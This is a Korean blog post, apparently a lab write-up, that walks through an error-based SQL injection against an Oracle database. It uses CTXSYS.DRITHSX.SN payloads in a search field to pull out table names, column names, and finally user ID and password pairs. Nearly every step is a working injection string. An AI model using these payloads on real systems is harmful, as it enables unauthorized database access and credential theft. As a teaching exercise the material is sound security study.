Error-Based SQL Injection
Step 1. ErrorBased SQL Injection을 이용하여 테이블 개수 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES))=1-- |
다음과 같은 쿼리를 입력하면 테이블 개수 확인이 가능하다. CTXSYS.DRITHSX.SN과 같이 Error Based SQL Injection에 취약한 함수 사용이 가능할 경우, 에러 메시지로부터 데이터베이스 정보를 얻을 수 있다.

CTXSYS.DRITHSX.SN을 이용하여 테이블 개수를 에러로 받을 수 있다.
Step 2. 테이블 이름 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=1))=1-- |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=60))=1-- |
내부에 SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES 쿼리를 이용해서 각각 TABLE_NAME마다 ROWNUM을 붙여 RNUM에 따라 테이블 이름을 출력하는 쿼리다. ROWNUM as RNUM은ROWNUM을 RNUM으로 대체하는 것이다.
다음과 같이 쿼리를 입력하면 입력하는 RNUM의 번호의 따라 테이블명을 에러로 받을 수 있다.

RNUM을 증가시키다보면 60번째에 LHSMEMBER3이라는 테이블명을 얻을 수 있다.
Step 3. 컬럼 개수 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3'))=1-- |

“LHSMEMBER3” 테이블의 컬럼 개수를 확인하기 위해서 COUNT를 이용하였다.
Step 4. 컬럼 이름 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=13))=1-- |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=14))=1-- |
TABLE_NAME을 얻어내는 방법과 같은 방법으로, 다음 쿼리를 이용해서 LHSMEMBER3의 컬럼을 얻어내는 방법이다.


RNUM을 바꿔가며 컬럼이름을 확인해보면 13, 14번째에 각각 PW, ID이름을 한 컬럼을 확인할 수 있다.
Step 5. 데이터 개수 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(ID) FROM LHSMEMBER3)) =1-- |

COUNT(ID)를 통해서 데이터 개수 확인 가능하다.
Step 6. ID, PW 확인
| Query |
| 영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT ID ||', '|| PW FROM (SELECT ID, PW, ROWNUM AS RNUM FROM LHSMEMBER3) WHERE RNUM=1))=1-- |

다음과 같이 RNUM값을 바꿔가며 ID 및 PW 값을 출력할 수 있다. ‘||’을 통해서 문자를 서로 연결 할 수 있다. (CONCAT 활용 가능)
'웹 보안 > SQLi' 카테고리의 다른 글
| Blind SQL Injection 실습 (0) | 2025.05.08 |
|---|---|
| Union SQL Injection 실습 (0) | 2025.05.08 |
| SQL Injection(SQLi) (0) | 2025.04.07 |